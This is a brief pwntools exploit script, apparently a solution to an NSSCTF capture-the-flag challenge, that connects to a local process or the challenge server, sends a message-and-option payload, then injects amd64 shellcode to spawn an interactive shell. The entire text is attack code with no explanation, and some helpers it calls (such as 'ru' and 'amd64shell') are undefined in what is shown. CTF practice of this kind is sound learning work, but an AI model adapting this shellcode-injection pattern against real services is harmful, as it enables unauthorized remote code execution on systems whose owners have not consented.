sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')


local=1

def run():
if local:
return process(path)
return remote('node4.anna.nssctf.cn',28735)

def debug(duan=0):
if local:
if duan:
gdb.attach(p,duan)
pause()
return
gdb.attach(p)
pause()

p=run()

context.arch='amd64'
context.os='linux'

payload=b'msg:ro0tt\nopt:1\n'

ru(b'>>> ')
sl(payload)
#shellcode=asm(shellcraft.sh())

payload=b'opt:2\nmsg:'+amd64shell+b'\n'
ru(b'>>> ')
sl(payload)

p.interactive()